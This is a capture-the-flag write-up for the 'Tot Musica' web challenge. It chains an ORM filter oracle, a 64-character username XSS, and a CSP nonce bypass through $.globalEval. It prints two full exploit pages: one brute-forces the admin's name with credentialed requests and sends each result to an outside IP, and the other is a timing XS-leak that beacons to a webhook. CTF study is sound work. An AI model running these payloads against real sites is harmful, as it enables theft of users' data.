Skip to content

Back to all posts
Categories

Tot Musica (Web) Unitended Solution - Cyber Jawara International

Someone just recently making a new website, find the full name of the author.Please solve it in locally first!BOT: http://152.42.183.87:8182/Submit the Flag With This Format: CJ{[a-z0-9\s]}http://152....

D

Dimas Maulana

9 min read

1 categories

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.

Tot Musica (Web) Unitended Solution - Cyber Jawara International

Description

Someone just recently making a new website, find the full name of the author.

Please solve it in locally first!

BOT: http://152.42.183.87:8182/

Submit the Flag With This Format: CJ{[a-z0-9\s]}

http://152.42.183.87:20004/

How to solve

Here’s a breakdown of how to approach this challenge by chaining multiple vulnerabilities together to retrieve the flag stored in the full_name of the admin user.

The first vulnerability here is an ORM oracle. You can exploit this to leak specific columns, particularly the full_name column from the users table.

Image

Vulnerable Code:

public static function applyFilters(Builder $query, array $params, int $user_id): Builder
    {
        foreach ($params as $key => $value) {
            if (strpos($key, '.') !== false) {
                $relations = explode('.', $key);
                if (count($relations) === 2) {
                    list($relation, $field) = $relations;
                    $query->whereHas($relation, function ($q) use ($field, $value, $user_id) {
                        $q->where($field, 'LIKE', '%' . $value . '%');
                    });
                }
            } else {
                $query->where($key, 'LIKE', '%' . $value . '%');
            }
        }

        $query->where('user_id', '=', $user_id);


        return $query;
    }

The second vulnerability is an XSS issue, caused by an exploitable username field in search.html.

Vulnerable Code:

...snip...
        $(function () {
            var owner = "{{username}}";
            
            var playerTrack = $("#player-track"),
...snip...
Image

A limitation here is that the username field has a max character limit of 64, so any XSS payloads need to be concise. Using jQuery’s $.globalEval can help shorten the payload further and bypass Content Security Policy (CSP) restrictions unsafe-eval.

Image

CSP restrictions might prevent certain scripts from running, but $.globalEval can be used to bypass this as it using different approach to execute a string as a script. maybe the implementation will look like this:

Image

You would use $.globalEval to craft an XSS payload, leveraging nonce attributes and name variables. The name variable is set using a cross-site opener by supplying a window open command with a target parameter.

Image
Image
Image

For the nonce, since it uses a custom template, it is rendered twice, allowing us to supply the {{nonce}} value again.

Image

Here is the redering logic:

./php/src/Frameworks/Renderer.php
<?php

declare(strict_types=1);

namespace App\Frameworks;

use Error;
use InvalidArgumentException;
use Psr\Http\Message\ResponseInterface;
use RuntimeException;
use Throwable;

class Renderer
{
    protected string $templatePath;

    /**
     * @var array<string, mixed>
     */
    protected array $attributes;

    protected string $layout;

    /**
     * @param string $templatePath
     * @param array<string, mixed> $attributes
     * @param string $layout
     */
    public function __construct(string $templatePath = '', array $attributes = [], string $layout = '')
    {
        $this->templatePath = rtrim($templatePath, '/\\') . '/';
        $this->attributes = $attributes;
        $this->setLayout($layout);
    }

    /**
     * @param ResponseInterface $response
     * @param string $template
     * @param array<string, mixed> $data
     * @param bool $sanitize
     *
     * @throws Throwable
     *
     * @return ResponseInterface
     */
    public function render(ResponseInterface $response, string $template, array $data = [], bool $sanitize = true): ResponseInterface
    {
        $output = $this->fetch($template, $data, true, $sanitize);
        $response->getBody()->write($output);
        return $response;
    }

    /**
     * @return string
     */
    public function getLayout(): string
    {
        return $this->layout;
    }

    /**
     * @param string $layout
     *
     * @throws \Exception
     *
     * @return void
     */
    public function setLayout(string $layout): void
    {
        if ($layout && !$this->templateExists($layout)) {
            throw new \Exception('Layout template "' . $layout . '" does not exist');
        }

        $this->layout = $layout;
    }

    /**
     * @return array<string, mixed>
     */
    public function getAttributes(): array
    {
        return $this->attributes;
    }

    /**
     * @param array<string, mixed> $attributes
     *
     * @return void
     */
    public function setAttributes(array $attributes): void
    {
        $this->attributes = $attributes;
    }

    /**
     * @param string $key
     * @param mixed $value
     *
     * @return void
     */
    public function addAttribute(string $key, $value): void
    {
        $this->attributes[$key] = $value;
    }

    /**
     * @param string $key
     *
     * @return bool|mixed
     */
    public function getAttribute(string $key)
    {
        if (!isset($this->attributes[$key])) {
            return false;
        }

        return $this->attributes[$key];
    }

    /**
     * @return string
     */
    public function getTemplatePath(): string
    {
        return $this->templatePath;
    }

    /**
     * @param string $templatePath
     */
    public function setTemplatePath(string $templatePath): void
    {
        $this->templatePath = rtrim($templatePath, '/\\') . '/';
    }

    /**
     * @param string $template
     * @param array<string, mixed> $data
     * @param bool $useLayout
     * @param bool $sanitize
     *
     * @return string
     */
    public function fetch(string $template, array $data = [], bool $useLayout = false, bool $sanitize = true): string
    {
        $output = $this->processTemplate($template, $data, $sanitize);
        if ($this->layout && $useLayout) {
            $data['content'] = $output;
            $output = $this->processTemplate($this->layout, $data, $sanitize);
        }

        return $output;
    }

    protected function processTemplate(string $templateContent, array $data, $sanitize = true): string
    {
        try {
            $templateContent = file_get_contents($this->templatePath . $templateContent);
            foreach ($data as $k => $v) {
                if($sanitize){
                    $v = htmlentities($v, ENT_NOQUOTES);
                }
                $templateContent = str_replace("{{" . $k . "}}", $v, $templateContent);
            }

            $tokens = $this->tokenizeTemplate($templateContent);

            foreach ($tokens as $token) {
                $functionName = $token['function'];
                $arguments = $token['arguments'];
                $fullMatch = $token['full_match'];

                $result = $this->handleTemplateFunction($functionName, $arguments);

                $templateContent = str_replace($fullMatch, $result, $templateContent);
            }
            return $templateContent;
        } catch (\Exception $th) {
        }
        
    }

    /**
     * @param string $template
     *
     * @return bool
     */
    public function templateExists(string $template): bool
    {
        $path = $this->templatePath . $template;
        return is_file($path) && is_readable($path);
    }

    /**
     * @param string $template
     *
     * @return array
     */
    protected function tokenizeTemplate(string $template): array
    {
        $pattern = '/\{\{\s*(\w+)\s*\((('
                 . '\'(?:\\\\\'|[^\'])*\'|'
                 . '"(?:\\\\"|[^"])*"|'
                 . '[^\'")])*?)\)\s*\}\}/s';

        preg_match_all($pattern, $template, $matches, PREG_SET_ORDER);
        $tokens = [];
        
        foreach ($matches as $match) {
            $functionName = $match[1];
            $arguments = $match[2];

            // Parse arguments
            $args = $this->parseArguments($arguments);

            $tokens[] = [
                'function' => $functionName,
                'arguments' => $args,
                'full_match' => $match[0],
            ];
        }

        return $tokens;
    }

    /**
     * @param string $template
     *
     * @return array
     */
    protected function parseArguments(string $arguments): array
    {
        $args = [];
        $length = strlen($arguments);
        $i = 0;

        while ($i < $length) {
            while ($i < $length && ctype_space($arguments[$i])) {
                $i++;
            }

            if ($i >= $length) {
                break;
            }

            if ($arguments[$i] === "'" || $arguments[$i] === '"') {
                $quote = $arguments[$i];
                $i++;
                $start = $i;
                $escaped = false;
                $arg = '';

                while ($i < $length) {
                    $char = $arguments[$i];

                    if ($char === '\\' && !$escaped) {
                        $escaped = true;
                        $i++;
                        continue;
                    }

                    if ($char === $quote && !$escaped) {
                        break;
                    }

                    $arg .= $char;
                    $escaped = false;
                    $i++;
                }

                $args[] = $arg;
                $i++;
            } else {
                $start = $i;
                
                
                while ($i < $length && $arguments[$i] !== ',' && $arguments[$i] !== ')') {
                    $i++;
                }
                
                $arg = trim(substr($arguments, $start, $i - $start));
                $args[] = $arg;
            }

            while ($i < $length && (ctype_space($arguments[$i]) || $arguments[$i] === ',')) {
                $i++;
            }
        }

        return $args;
    }
    
    /**
     * @param string $functionName
     * @param array $arguments
     *
     * @return string
     */
    protected function handleTemplateFunction(string $functionName, array $arguments): string
    {
        switch ($functionName) {
            case 'include':
                $includedTemplate = $arguments[0] ?? '';
                return $includedTemplate;
            case 'lower':
                $text = $arguments[0] ?? '';
                return strtoupper($text);
            case 'upper':
                $text = $arguments[0] ?? '';
                return strtoupper($text);
            // Add more cases for other functions
            default:
                // Optionally handle unknown functions
                return '';
        }
    }
}

Here is the final payload:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <script>
        const target = "http://nginx";
        const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
        (async () => {
            const form = document.createElement("form");
            form.method = "POST";
            form.action= target+"/auth/forgot-password";
            form.target = "_blank"
            const input = document.createElement("input");
            input.name = "username";
            input.value = '"+$.globalEval(name, {nonce:"{{nonce}}"})+"';
            form.appendChild(input);
            document.body.appendChild(form);
            form.submit();
            await sleep(1000);
            const w2 = window.open(target+"/songs/search?filter[title]=", `(async function(){
    let base = "/songs/search?filter[user.full_name]=";
    let chrs = "abcdefghijklmnopqrstuvwxyz0123456789 ";
    let exfil = "http://103.185.44.93:8989?data=";
    let found = "";
    
    let lenn = 0;
    for(let x = 1; x < 100; x++) {
        let stop = false;
        await fetch(base + encodeURI('_'.repeat(x)), {credentials:'include'})
        .then(r=>r.text())
        .then(text=>{
            if (!text.includes("V9_ZpqfqHFI")) {
                lenn = x - 1;
                stop = true;
            }
        })
        
        if (stop) {break;}
    }
    
    for(let x = 0; x < lenn; x++) {
        for(let i = 0; i < chrs.length; i++) {
            await fetch(base + encodeURI(found + chrs[i] + '_'.repeat(lenn-(found+chrs[i]).length)), {credentials:'include'})
            .then(r=>r.text())
            .then(text=>{
                if (!text.includes("Songs Not Found")) {
                    found += chrs[i];
                    fetch(exfil + encodeURI(found));
                }
            })
        }
    }
})()`);
        })();
    </script>
</body>
</html>
💡
Note:

First, you need to register a user with the username "+$.globalEval(name, {nonce:"{{nonce}}"})+". Then, host the HTML file on your server, replacing http://103.185.44.93:8989 with your own server's address.

Intended Solution solver

Using time based XSLEAK:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
     <form id="formize" action="" target="bz" method="get">
        <input type="submit" value="">
     </form>
    <script>
        let webhook = "http://iyadmuyyzzqjoeobxwjt6pgn9iuo1w6a7.oast.fun/?log"
        let remote = "http://nginx/"
        const log = (msg) => {
            console.log(msg);
            navigator.sendBeacon(webhook, msg);
        }
        const sleep = ms => new Promise(r => setTimeout(r, ms));
        
        function exploit(payload){
            return new Promise((resolve, reject) => {
                // ORM Injection
                var win = window.open(`${remote}songs/search?filter[user.full_name]=${encodeURIComponent(payload)}`);
                var start = performance.now();
                function measure(){
                    try{
                        // recursive until the origin is different
                        win.origin;
                        setTimeout(measure, 0);
                    }catch(e){
                        var time = performance.now() - start;
                        resolve(time)

                        win.close()
                    }
                }
                measure()
            })
        }

        // csrf and session puzzling
        // make sure users, with username {{upper('upper('a')')}} is available
        formize.action = `${remote}auth/forgot-password{{upper('upper('a')')}}`
        formize.submit()
        
        Array.prototype.sum = function() {
            return this.reduce(function(a, b) {return a+b});
        };
        Array.prototype.max = function() {
            return Math.max.apply(null, this);
        };

        Array.prototype.min = function() {
            return Math.min.apply(null, this);
        };

        function roundFloor(number) {
            let magnitude = Math.pow(10, Math.floor(Math.log10(number)));
            return Math.floor(number / magnitude) * magnitude;
        }

        (async () => {
            let true_res = []
            let false_res = []

            // warming up
            var payload = "_"
            await exploit(payload)
            await exploit(payload)
            
            var payload = "bz"
            await exploit(payload)
            await exploit(payload)

            // finding the ideal threshold
            for (let index = 0; index < 10; index++) {
                var payload = "_"
                true_res.push(await exploit(payload))
            }
            
            log(`result_true: ${true_res}`)
            log(`avg_result_true: ${true_res.sum() / true_res.length}`)
            log(`min_result_true: ${true_res.min()}`)

            let threshold = roundFloor(true_res.min())
            log("thresh: " + threshold)

            // determine the flag length
            let length = 1
            while(true){
                payload = "_".repeat(length)
                time = await exploit(payload)
                log("time: " + time)

                // find until the username isn't rendered; the response should be faster
                if(time <= threshold){
                    flag_length = length-1
                    log(`flag_length: ${flag_length}`)
                    break;
                }
                length += 1
            }

            let charset = "abcdefghijklmnopqrstuvwxyz0123456789 "
            let idx = 0;
            let flag_placeholder = "_".repeat(flag_length)
            let flag = ""

            while(true){
                for (const char of charset) {
                    tmp = flag + char + "_".repeat(flag_length - flag.length - 1);
                    // log(`attempt: ${idx}:${tmp}`)
                    time = await exploit(tmp)
                    if(time >= threshold){
                        log(`flag_temp: ${tmp}`)
                        flag += char
                        idx++
                        break
                    }
                }

                if (flag.length == flag_length) {
                    log(`FLAG: ${flag}`)
                    break
                }
            }
        })()
        
    </script>
</body>
</html>

Categories & Topics

This article is categorized under the following topics. Click on any category to explore more related content.

Share this post

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.